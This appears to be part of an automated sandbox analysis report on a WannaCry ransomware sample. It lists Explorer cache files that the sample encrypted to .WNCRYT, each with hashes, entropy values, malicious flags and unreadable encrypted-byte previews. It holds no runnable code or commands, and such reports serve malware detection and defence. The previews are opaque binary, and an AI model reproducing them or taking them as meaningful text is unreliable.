                                                                                                                                                                              SHA-256:1EB39DEE558A345CF30B0F7C2EE8A14AE646E6D2BABA8C45EC393734C2E75F6C
                                                                                                                                                                              SHA-512:0CB89B5D269925A100DCE910634EAF579EFD3378C4BF6D41A0D9D7C6F08291B3116B7579BD60AA73C7E50BC99B51063FA517EB702A94FDE8F3C9B0F0DA6664A7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....)...$.$.v.. 1...i......b.j.Ex..Yw.J......k.V.ndC'.r...E....FHk..,x.-....9.....m...........f...2...].R~....J.......)..8M:...h...1e.>R...z..T.,...|'./r.A.....iy.%...y?!%...i.y(so...T.9.~+.o..9.o....9V.S^4.p..V. .R.u.Yg.#^...[~.9.{..xwlb_.....|.R......0........>.l.m~..=.o.S!.[\.``.q...R.@>.........0.Q".....O^.,..!.a..e@~...w...`R:....`Lw.?5..g.R....xs...Pc...*...].........r..zc...v.`.!.Y.p....?..I..$G.|..R.i.3yx_.......]4..y{..>wF..o.....T.ufW..O.D5..n...Jl.D.(.P.M..%.......{'.D.,#..;..7..T.lw.m..9...&.......G."..DU]w..U1.Y5.u]..r.D..n3X..Q..X^.oj..sX.q){F..c.tK.........Z.Yxg.dJx.a......~..2...`.....\.v.Z....!xc.M~......:+/...-t.h.";...S?.4....(.....V.9..?....+.(.......<#....F...X.....;@.u...Z..g......3....4.+j..h.......*-(4fp{f.Ae..\.+a....L'..'.. .o./R...z.k..t..f.]MLH.r|.+.<kfg..?.`....J$]....B.O.....s..H..@..k."..x4..b.b.t....i....i........k....nf.....0.ucZ^'."...[...;...].S.vh.............].H.E........=...N..[......><.y.~..j.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.2488589093524105
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEkyL/TklHNRGFt0WE3MpIxNc1Gv/meSXft44iyRMOd:bkERAlHNRGF0xN7vObfmDyRMA
                                                                                                                                                                              MD5:7ED1FFB691966D38292FDF11E7AE767B
                                                                                                                                                                              SHA1:E6D4715162C1DB659517CD63313986289C7E4CB1
                                                                                                                                                                              SHA-256:378B2F3EEF1DE86087FC25B045EC503388ECFFC591F6BAB37FF0553AED501B46
                                                                                                                                                                              SHA-512:0F39E9E5B709E81B55A454AABEEFBCD8D385982A8B4A0AE13BB7AC93BB9415C9BDEADED5C8F0FCBB5AB8207B0F1848369B357C309B74B514A867E2AFC41D33AC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......A..:J;.^.3.y,.u......Z.....~pG.'..y.p..V.N.......G...8.!.d.a.wlFX....Cn....f.d.smz..qK..pr.......vZ...M&m..{I.i..1.S.. +..\..~.e....*[...*:..Q..V...F...B.F/...f.#.....3.....1i#0&..,.1.<e.7;.I..@.s.L.....`j....V.?.@M...5?..3W..pC!..o..*.K8...............y.b.#.....z....z...6F...tn.4k...

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2097432
                                                                                                                                                                              Entropy (8bit):7.999926289997084
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:NXN6fYGd73pZVScrc390L/Xv3Zp5OueGlA16GDFUlos2hSkytz:NXN6fYwpTcN07v3ZpAtuC6GDLs2hnyJ
                                                                                                                                                                              MD5:C69C892C13A7075043A7C4796FABF547
                                                                                                                                                                              SHA1:2DE0BD697E8EC688483F1A9B628D459A3B7EFD22
                                                                                                                                                                              SHA-256:DD1667534E89992784052D3EF1493A9F34638A35AE3C3CF93316587DBDA6517A
                                                                                                                                                                              SHA-512:E4F052614BB5395428823AE3251F5EC9D3F9F3DC2DFCEF23B29993926933C2DE82CFD74F131E1481609F61B44500379D68BE657584FE6C656285B42734DBEAD4
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....~D....[?..("F..[6..7.27.."..&...>...@\.l..p.S.:....J.7'........=....A&.}a!~.g...%-.Eq\.2?.\......oa._.0.@.:3&..e.....".S=..&".E>............J..!9b%.p....t..d.z......z.........!...=....b.&..$h]."A.....pQ{. .(.n..e.o..=..X+...}E)y.B@Ho.N..7}..Y:&~...... .....v0.3`%.=k..:..."..cQ.R7+n....iL+H.s.....%..,Nj)..../.K.j....\F.d....M.E'J.8....4E.GK..@d.u...V..+.H. .....lzd....l.,`.......{.}....*E.B......W.....$.{{...K..k....A]"&.......f..2.0.O.q..p/....h....r.:..?5..xe*..6P.g..?.7......E.]f'..Z....id.p...K?.f...SO3sS1].l.Z...fE....}........4......e.?.M[$.`...5w..UC..[....e.........0.t..a/.j2..S......JO.B1@GXs...O>.3z....r....(D.g..Q..I.i....>.@$...........Z.A;.s.P!...p!.s...]_...N...e4p?F...M....hy...CH.....k.,K.y%.J>v>.n..b..!j G.V"..[ae..R..b.._.oWf..*9u.C....Zw..b...zf.....'.M.nM..LB...(s...dh.xK.w.....8.46..yQ.;..jhl...l...k.........>Y......r.C....<...s.6.........O...U.X`....Kh.".o:'.h.58...........EKz.:o..7...*.J(#8.3......`..~

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2097432
                                                                                                                                                                              Entropy (8bit):7.999913316856287
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:3PB7bO0n1wQeMs7BXUMUmHY/W3I6cpBfYzugB3:357aCnml7UmHYeY6OBfYt
                                                                                                                                                                              MD5:F9E58EE592383873143CF1F53E457DBC
                                                                                                                                                                              SHA1:B0D28C8B85ED97890BD59183FAC0A36E59D5F27C
                                                                                                                                                                              SHA-256:A05294209E1A66CFDB86F8C17C2508BE0A6F5F68B6DF044735536BA304C89CA7
                                                                                                                                                                              SHA-512:4BC4D3A1E7C835165282E711448913DAD852902F730327A3EAFBDCBD58B39464ECE69B7B2E891A60134D68B24142B892DC8D2D30F1F579641AD62903C1EF6E6C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....i.6t..U......4)o....W.>..NZ...+kk..^~.*.G.9|.C/c....@.=.v&....&0...4-r.&...~l...(..mY.Oq.8....m.Q..8:.p..v.D._...F.e.&..D9.]w{6.h....L.&......av..`J....r9....F6rT..x..r....>.....3..<.M`c....e_.^...ypp..K....a=..um."Q8c%...G.&.S.v,..t.......)....... .....^.)......(w...W.....:.....]E.Z3;O..Tr.y.=+.d-....,...f.J...<z.....}..}}..|0+.#....k)O.}..}.9.y.<.?.>.t........T^...k.!z.S.\.K...+..@..[..9.....GR.}.}!B....P......&...Rs..WNa.~v..h".._g...y........R...h...^.1t....xp......0.z....-)..W6.."..a....C!..!C>...f0..................@..........-O.`.H.2...Bd....R..P......v6i..1.%....*.V....3....@.y..R.W.:.w.'.O...P.g...:p.f..Q..O..D.i.Ot}..O...Y.4b.1y.v..C.<.{.s....jR.<+~.D..p.8.#..D.|.>o7...]!...I..+`.w....F'.B.P($.D.m....9.a.;.;|L....Ow..,7nB..~y.I...]..{..S..t..`...~.....R ..z.)2...|..N.{J...">s.9yb....Eu=3.Q-.r....J.........l'~.f.%.O1`./f.f.ht.....*....>Fz0.Vz D._4.|.......R.....G~.$.l......}....=.Km...4G.}V.U<^.Q..W.I.*..Dv..F.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.186155494923473
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEa1vmnf2G7GrHnU0SAQc7p4ejFE16VndXv5hVeLJbbIAqP5uM9OGKy+:bkEx2G78Hhue5s6VNBhOJbbILP5Qdt
                                                                                                                                                                              MD5:D957C6686324A594244F2A61CC55CBC6
                                                                                                                                                                              SHA1:2D233E74585ED1FC7B7860BDC05054BA89684B01
                                                                                                                                                                              SHA-256:C056E4C96F6AE9FAAAA0D614ED26C12C6A3AB2357121D43C3AE59541915C69D5
                                                                                                                                                                              SHA-512:776E577CE6F101BC8FFED3A6C46FFD9C801DCCEB67D6B4F856AEE1B87DB194586F0EADD50FB1092C08FF411EFEAF4CA6D04F625658BACB7B0DAE920FAA7635F8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.................?.y.*.1n...:..\R...[..8.'}.Wa .....e$.>.....N........sv.1\C..p.....Od.&&...........%.-].v.{...Y.....&.._.....|0k....o.Y...r.r.7...fqh.....\.C.Y..M=..V..n....0...l.U...q,~..bL.....>e..(....>.....x$'.....(.b..z....M.C&.>0....!................4.\..P...d...?....u..{1#x..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.225826756155966
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEfaTDf0BmCUIz35F3lmnn7R63pXqlXk2qGQ9UVokN9y/4:bkEfaCzUOJa7RkSj6UV5jF
                                                                                                                                                                              MD5:839E2475398D51C0FC27731998A99FFD
                                                                                                                                                                              SHA1:4613B4EE7D19DC8011EE3108E201BD1528B9EC3A
                                                                                                                                                                              SHA-256:E003B330E88962F411C1E62C52AA78FEA45117A9ED4AB78117712639AA4C52A0
                                                                                                                                                                              SHA-512:B7189EE8B90C2773099FF00748B12FA8480D0AF42F9A4F2040D962AFE8ED7F537DF8BC4C00BBCEA939B1AEBF3A75BB2DC83D19BCDA033D7731014C5AE368F17D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....0n.-.V.:.n....N....T?T#.0?.@.N:...._6.D...`R.v.If........{A.<...zZ...;..a...F+.z<..:..[.....2.).1.......ny..u.......?..Q.3-....x.7.l{an..._..M.`..P.h.U.sb.?.y.i+..;.....W...,M..6..b.H.......il.'..gM.z|K Ff../.D.c...Td.C,./.eh.T.P....\#F+..P.............3<..m6'...Y.y.o...37.j....S;..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.270378469392792
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE/KDjBviungdGsEre712/RoMlpacCTN9tQbv1UnyR1Ss4mYN4kJkExz:bkESUugd2rk2RoHFTSbSnyrSspkJkExz
                                                                                                                                                                              MD5:8C2699B5C6857E294A25CDF4FDF5DCCF
                                                                                                                                                                              SHA1:BA1C106C58DA8B37D1F182DF33424987A3FEF4C5
                                                                                                                                                                              SHA-256:0C0658E5CEA5513C7CADE772B856090DDF4793F389DE1450040981DFE42B8C83
                                                                                                                                                                              SHA-512:E0364C2355135645E081D2933B4B17046DF8736099B5F386687C38C92102B79405481195DDF8B95CD67B0FA9A264BFC03EEB592C56F71BCE618266249880D42B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......yot....v...X.......D&...?E...v..G..d....W8.([H.N.W^......9.Z.+....."..>.A.r.B.O.....t..._.2..4......y.'is. ..9YV4.Z...z|._..bY....,...x@4A...$....)............^... JV..?.~.z*.>.....&.Au..g..m.*4...Phf.K.4.d..I..#).c..x..&N......G.^.P.]........F.............)1_.X\5.wQ.pP+...o9...l..M.X

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.244014487055669
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEhele4aTzrMpshYzKIKriMPu11lzxAJE/6fwInDGk14LIMQDYC:bkEaSSshTr1inR/6flnDsJQD1
                                                                                                                                                                              MD5:2980EF709F7987D766441DAF08C81F1C
                                                                                                                                                                              SHA1:22941A2902713D0B3662A6CD61E168995B024475
                                                                                                                                                                              SHA-256:2C7B376E30E51D43352BEC31C135066E810BE245BADF23985A377DF192A23240
                                                                                                                                                                              SHA-512:3A74F172556914E438860E889D5CBC5A90BA95F162872616E67B6B17402446840432441CAED8AB61A000BDB571AB4EBA27E8CC071CB4A4B8D0E6BAC68BC78518
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....a9j.V.l....I..z../%!1.6r..d..\.3...;A4.mw<.o.Q.m......G.h$SD...YL......v.>m^ia.\...,....]I.{/b.lQ.t#..T?$4yK?...E.2.!.M.,hkZ....+..9..aUJ.....Y.Us)>...d....._G.:..vSI...?..:\.C.v*M....Fa........ ..0gG.|T\\{.......N.j.Y.0y...L..2.|.u.E"8........^....................?...P<[U[...... ..SxT..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):58600
                                                                                                                                                                              Entropy (8bit):7.996236761998986
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:TxwOpnRiRGIus+EDupUSKaaZ5a0DRn4rNcdiEsLTdowWAP3iWgaNeFm2I3:mOpE7usXiyB3lIcXsfdCydgLM2s
                                                                                                                                                                              MD5:CBB87F086AF304CD368453A2DBBAB665
                                                                                                                                                                              SHA1:9356839DE33F82EE9C8E764807DA6323AE4A94B4
                                                                                                                                                                              SHA-256:A6C11FC66031D70164B544ACD47594F0588621A7F6F45CB815EC2237416C4A0C
                                                                                                                                                                              SHA-512:CDAB58C2362E41F01198C1B3E577EBCD99C341CDF75523D5A91EBC9745FD846D2A67EF45F08B8FDEC28735245722EDC16678544FA132503EE86364070C999BFC
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....N...U*... .&.oG..:~...)..u..Eb2p..N..).[ .W.#.j.Y....&K.>@".....\...s.S..:.~...........2..h.....y.....T..A..OP=`.(......Xm.%\*..XL..H...F_~..tS.F3?h.+d.>=.[.|...w...z.....7....s.G..E...?p....,..K.|.o..o.Q..C..W...-#.N.8e}.;...."..?]...B.|d.C.............yw.......h..r=@.....m.I>.y..W.....q....:%.e.Y..B.R.......~;.t.8PiTD.}v.........4....E....Z.4Y]..K..C.f.lU...p...gp..#..}..x.b=W.=....c.....AT.e.R.?F.[...r.!f.+:...`.Y@.."...b...F!.{UE.:...R......[b......:...y3{e..'.V.b<....[.=..R..'_D.O...u'.r(....c...-...TA.u...v$..:.E.....\...}...|.i7?..V&..l.....@.....Y%..\. ..+...#`....q..!...........4.....&...;....U.j..3.].3&"..t..-".LC..&r....D}..1N.d:8.......%..f...l+....|...!......./.#.......90(.(.....T..j=.P&..-...2..~,...c..P...,......l1tb.p.1.i......k.Mz/....=.2.9b.AQA...B...4Q;9....z...M.&.....f...e...).......b...q...%:_......g.{..>l...(.g.....E...4*$..K...b..5.........._.+>...+.j3..(~.K...Ck...P.M.Q.....e....b4.S0.X.=....J^.......

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.222114728733969
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE7VnFvu4x0qp2PA8Wiqxw7KJD5kOVeq+BAY5gefqqcUj5A4j7C4NE9pQ:bkE1FvBdEqw2DP8Z5rqqp77lEg
                                                                                                                                                                              MD5:72F9E73D986077B25AD3345403067594
                                                                                                                                                                              SHA1:C937BF2D3C5119A6621C7BA5830436DA407EB0FF
                                                                                                                                                                              SHA-256:12B1FDEF0C18F1DB9869BF5398871F29CE7A3759745F3F50D4627A6ABE08500A
                                                                                                                                                                              SHA-512:BC61377CD88183558BFBDBB576E461C6BD3FE699399E7911AB11ACEC213B2208735A9D0D5CC5CB52DFB7D03E5F5AAE70FE6C9FE10337A0BEDC16635615390549
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....{.A.... ..y...X...-S.|lbG@...1r......N.........)4j5&...v.%Y.0..*KB...t.%.2..s...'..T..L.<~...?O..-..-.]....+....3.....k..........5d.....U.....DS..?..-D.z..)n.@y.9..d...o..$..1O.....<,..b...M$Qq.....7.#Zm.Y.G......#........<./.k.....;..T..y............d..~...).^..N.Z`OV.Y...`t.O.V..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.164825296102791
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEwLqb0w9C/0hGO7Q9pJm2TmzKO8Zw6S8Pi+RLILMml9f:bkExX8/0c1m60KO8Zw6Pa+RLIZlV
                                                                                                                                                                              MD5:12D2585AA1065CDD8D842E9A52F05C55
                                                                                                                                                                              SHA1:1231DAA1CC4FE34FDC6EB47281D2B57D4C03E699
                                                                                                                                                                              SHA-256:42652151D14ECF003AC99FFB150F0CB268FFFB60200957B3D03DDFEC6F7EF825
                                                                                                                                                                              SHA-512:1431C4743C031D446B79A0C0BCDD65A5C8F583FFFB749755BAB24C5C5197BB78437C1F4B0C212B7BDD2D54629C5C6134B2176CD423C8BC922826FB8F1CBA5099
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....ZI.5a....&4Bt..t6d(......Tn.F:....{.r7...)i69F...~.F.....W.j.gg..m.k.1r.Z..l* .....J7.[q.:*..k.UC.1e..Ba.W..&.J..m.. ...W.....Q.....H..z.)..g.B..=..#....v..Y..l...B...+&.....<VA....^...ra&.R..G....1w0?.._.gT.5`.~.Z.........,......o"C......K.*G............Rb.....:...Bl.....k.....+....v

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.226508348980469
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEKWDXsbQ6BJsHCEIq3DZj7nwDvtJIx6OBHyu1eTpL5jKpxo7W3QCvEan:bkE96/sHCNq3DZ72LG6cvoN2xo7W3d
                                                                                                                                                                              MD5:692CD9FAB2264B4745F5B628BA1DA883
                                                                                                                                                                              SHA1:01414B2074708615DF19BB44481CE3DBADDCF862
                                                                                                                                                                              SHA-256:E986413903286ACEBE3866C261E739E3DA21E151EFC8215794AF990BB187EFF9
                                                                                                                                                                              SHA-512:BC0BEAD1C7776BC9C1535206EE899AF60C6ED058560E8D54684A514476345BB9077A3B9BEF3FF5FB517FF0530B045707963E18F03140473C202625C5B7362C8F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....95X..=.v.1..... ...]...........5#.....ll..5I...J..C%J.."g...lG.3.,..".l....7.4?T.,a.P.;y...)F....O..f)..P.q.......xn.}..%.d?@........F...j;....|..L...iF......={....c.....*..B...l...7.N&.......I_.[*p.._..|.2?..:....F.>p......uQ.d)...y..I.1]$.o.............bF..Ei5+..>......}....$.....a..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.261548701757656
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEk7q/9aeJL77LgcGJW+WUhLQHMS5C21jNE0jd2jPHajq3CMQ23csdAM:bkE+qlzJL7AxJ5JS5/XjdVjq3X3zdAM
                                                                                                                                                                              MD5:3F9E3B4D8AFF8916495C8796A846B1B8
                                                                                                                                                                              SHA1:651793501D2E5CD62AE9856274B60BB662CFB58E
                                                                                                                                                                              SHA-256:55B4CD629AEDA4B38F5C6F1E34275C0340341CDA3735D5CD8B7D39642C3A57A5
                                                                                                                                                                              SHA-512:D1FB1C13F90796391ED7BA5BCDCB0B04676A9AAE6F918B558798A16226B2608BB59C123F630000D46C4BEFC2CAA7F9FBA2DAFB710EA9DBC1EF397A8BE77076BD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....HhQ..&&v..Uk.....T.....i.........q./.>..~^.Z.X[..E%.......4.Ws.$\.$4...UY.L.(V....y....CT...E[..,.v<2s..Qo*w.....`_giJsXl...p....+..dg....U.m1...L+.:..kB../1...9".L.Ge..(Y....X[]..oI..G..{..^....l.....B...i;;..A....:.g....P\.q._m..R........................c/./..='...-G..\]..$.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999818837973538
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:PUr5nMIOlkx+zDbOdh11fDvWnDmjMSZus6Fy+FkAFbgTVVhVuEig:PUmIOlE+XSdV7W4uLU+FkAFbWVVuEB
                                                                                                                                                                              MD5:033CAE348B2C5B5E2EE6337C7B765062
                                                                                                                                                                              SHA1:796BAEE0844849A2979467D628348D6A05583B94
                                                                                                                                                                              SHA-256:1E96E6A75135C8A11231DDB3C465D7C1263E9C107D61EB2632F02B58DD017C34
                                                                                                                                                                              SHA-512:4C4B8FF44B695CA85A041C77B8FA53222CC12E4EF5E1D776C258E82CE8599D8FCB9F2993668AE18ED8AD742F25FC11116FECC38D6F18606253F600652A99621C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........v..n...y6..We.O.a...f.1Jn.....a>T..a....0......M.....;.-.]....y...5..5...Q.j.mN.h..n.G...t.[......^.....0.@u...y..=.=..SN.*......T.~[/...b#k.].1$..Xa.....gF..O...;...,.. .BPb.;..G.d..%.a;.+@J/x...V..Hh..|1o,..[..@.e.Y.S..z......I..............!...ne...{.[2...r....4....O).K.n-.hYJJ.]r.,.9.r....Gt.J.......=[.!...KS.s.<fK.5Sh.7.....Ur..w...[..CO.....ni~............43..q...[=l.".n....4..|...1k..V+`...Io.'~..w.Z].&.).8d.!.....2z{\<|._.k......K..q@.#.F.0:.....v.9,..)r."....*.m..x.-...d...fC/.0...|.8.H..!z-P&..C....-..a\r.=...q.@.'.i^.(.>!.<(.W{.aG.$..b...z.....>FI9:Z.(.H.O.L.......N...cFR.F.=.)...Q..H.$#e...z...)A......yJ.o..D...'.......s.....%.v....?.T..b..o.>N.P..1.Qj"V..A?.;.1....":..k...1..S...Y..;a..r..Q.w..(.....H.~'.....DP...BS..o\..]K.._.....;.... l..D...D.!1.k~".|......9V..w......?l#;.h..NO...p..$V.7...`..5........e..6.....|k.9{.2.....l.#-.........j.b.9...L.:.........~/.]Px..q....h.9`D...b.]..wo7%.6..O

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.167244807327674
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEyiUP1d9aoARh3HiJbtcz/0IJJm8Xe/XQI7ETFHogrs9iqKRW:bkEZNKcz/NtXe/XQbs9iE
                                                                                                                                                                              MD5:A59041C1EA90CD3982F464D0BCED6189
                                                                                                                                                                              SHA1:CE0D1312B7EBAB17466156ED985685C98761C2FE
                                                                                                                                                                              SHA-256:9B7EF13484594FE0F18F9DDDF7DEF4A1DD7547D54A591CC1FE8B3EA9C5E33E73
                                                                                                                                                                              SHA-512:C0CE78FAF4F422F54487D166876F24123A1B3D5AF64978E505765747DDDB88D1AE87D7C541C47BDD628E91291ECA9AFC832774CBEA7B2C98517B3CB5BFF4AC64
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....D.r....s.......H..Y..i....j..81P.w'+....!C>...(.K^...]W E.`.r....hb.....@.=....^@.m..3....J...i&.Y.....{L.P.^..YYu...]..u..>.%H.......|:...r._..,......qt.=n}.J.<.......!,.g..d|6....Ewa....6..k^..{...^.s....W^...R..-#......L......>;.+.#..I.+..............tm..l...5>k)...dU%...U.?..*`..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999777480764611
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:9WdPHzVBfp0MZV08JCdyLQIgjNCLEODvL1oepI:0PHTfHC8J0yUIgJCDvL1oepI
                                                                                                                                                                              MD5:10BB8AE72FE761CE7F4C99062819602B
                                                                                                                                                                              SHA1:E5D5DF01EDCEBF56B82AB40A09243B74897A70DF
                                                                                                                                                                              SHA-256:06FE8613F24241D6146D835BAD874047D680F95C840764645251A45E491492F6
                                                                                                                                                                              SHA-512:F82D86E8B428FEE8060F570607657C9070C8E0C44AF8AEDC2B56D85253ECFEAF0355EF5FA3BD66DC7005B4574567E0D0B30530873D4625C380E65780B3035DDE
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....M!....!rQq..ha|M,z...P.b..u^}.C ...M>..T....kBO..L...I~p..x.y....@....A.Yh..R.D....j>0.Bl.<...Ud...l.e."....G.29.;'..N..L5|.*}F...N.w.....q.+...Xx.....{0..&s.m......W......... ..t...W..9..2...&.....q..\....P.fYn..?.=.M...XP...Q-.....%f..D..g.F..................m....l..F.th.Q......4....QJ+Sg].#...dS..J.:b....4..HeVG.A..q.Ly.m...Wg.K...#..(........ :....{..([....x]\),n(`j{.C.ou=.l..n:....m...:.........Ix.E......:.........j.B.....?D.MS.O}.....S+.JO....C...9..Y.yY....../..R.A.F......H..=.P...,r.(.>..O......Y.....O.'.o...T].=.....Y..I.gI./..R.L_..o.L..Et.N... tr..$.l.s....&...A#Y....l....t./.&...C.....<f(...[b.<.~UY..!o.....,="..c.........cO.u...S.."x<..0.]V...}U9};.3.....h.!~^....C.+L...M._..]B...S.>....sd..N&...[T:...`..K......?`..'..T.QS..<.(>..P....k9.'.|.\........K.6A....)*tZ.|2..5..`B..KA{c"....:....Zy|.~~Q..c..... ...v.z..O..S../t...5V.&..j..qT..:...2........?.9.:..x.a@.Z+....rDN..../....~2P...b.X.:HGI9..7vA..{..rh........&...f%

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db.WNCRYT

                                                                                                                                                                              Download File
